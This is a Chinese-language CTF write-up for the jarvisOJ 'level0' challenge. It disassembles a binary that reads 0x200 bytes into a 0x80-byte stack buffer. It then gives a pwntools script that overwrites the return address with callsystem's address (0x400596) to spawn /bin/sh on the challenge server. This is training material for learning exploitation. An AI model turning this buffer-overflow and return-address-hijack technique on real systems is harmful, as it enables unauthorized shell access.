jarvisOJ上的题目梯度似乎比pwnable.tw上的题目更合理点,pwnable.kr目前做的十几题都是考察各种基础,只有少数像pwn题。
level0是考最基础的ROP
先把下载的文件放进IDA里看看
.text:00000000004005C6 main proc near ; DATA XREF: _start+1D↑o
.text:00000000004005C6
.text:00000000004005C6 var_10 = qword ptr -10h
.text:00000000004005C6 var_4 = dword ptr -4
.text:00000000004005C6
.text:00000000004005C6 ; __unwind {
.text:00000000004005C6 push rbp
.text:00000000004005C7 mov rbp, rsp
.text:00000000004005CA sub rsp, 10h
.text:00000000004005CE mov [rbp+var_4], edi
.text:00000000004005D1 mov [rbp+var_10], rsi
.text:00000000004005D5 mov edx, 0Dh ; n
.text:00000000004005DA mov esi, offset aHelloWorld ; "Hello, World\n"
.text:00000000004005DF mov edi, 1 ; fd
.text:00000000004005E4 call _write //执行write(1,"Hello, World\n",13)
.text:00000000004005E9 mov eax, 0
.text:00000000004005EE call vulnerable_function
.text:00000000004005F3 leave
.text:00000000004005F4 retn
.text:00000000004005F4 ; } // starts at 4005C6
.text:00000000004005F4 main endp
var_10和var_4不理解是干什么的,可能是main()函数里的参数。
然后就是write函数,从标准输出(fd=1)输出13个字节长度的字符串,即write(1,"Hello, World\n",13)
接着看main函数结束前执行的vulnerable_function函数
.text:00000000004005A6 vulnerable_function proc near ; CODE XREF: main+28↓p
.text:00000000004005A6
.text:00000000004005A6 buf = byte ptr -80h
.text:00000000004005A6
.text:00000000004005A6 ; __unwind {
.text:00000000004005A6 push rbp
.text:00000000004005A7 mov rbp, rsp
.text:00000000004005AA add rsp, 0FFFFFFFFFFFFFF80h
.text:00000000004005AE lea rax, [rbp+buf]
.text:00000000004005B2 mov edx, 200h ; nbytes
.text:00000000004005B7 mov rsi, rax ; buf
.text:00000000004005BA mov edi, 0 ; fd
.text:00000000004005BF call _read
.text:00000000004005C4 leave
.text:00000000004005C5 retn
.text:00000000004005C5 ; } // starts at 4005A6
.text:00000000004005C5 vulnerable_function endp
看到buf地址为esp-80h(意思是距离栈顶有80h个字节),然而buf能写入的空间却是200h,所以可以直接溢出到栈顶esp之上,然后覆盖掉return里原本存放的地址
在IDA左边函数列表看到了callsystem函数,点开一看/bin/sh就在这里
.text:0000000000400596 callsystem proc near
.text:0000000000400596 ; __unwind {
.text:0000000000400596 push rbp
.text:0000000000400597 mov rbp, rsp
.text:000000000040059A mov edi, offset command ; "/bin/sh"
.text:000000000040059F call _system
.text:00000000004005A4 pop rbp
.text:00000000004005A5 retn
.text:00000000004005A5 ; } // starts at 400596
400596就是我们要的地址了
于是我们就可以构造payload了,'a' * 80h + esp的大小 + p64(0x0000000000400596)
#!/usr/bin/env python
# coding=utf-8
from pwn import *
socket=remote('pwn2.jarvisoj.com',9881)
playload='a'*0x80 + 'a'*8+p64(0x0000000000400596)
socket.send(playload)
socket.interactive()
(做这题的时候把esp当成32位的寄存器了,以后要养成先用checksec先检查程序的习惯)
(还有就是把80h当成80了。。记录一下第一次错误的payload 'a'*84+p32(0x00400596))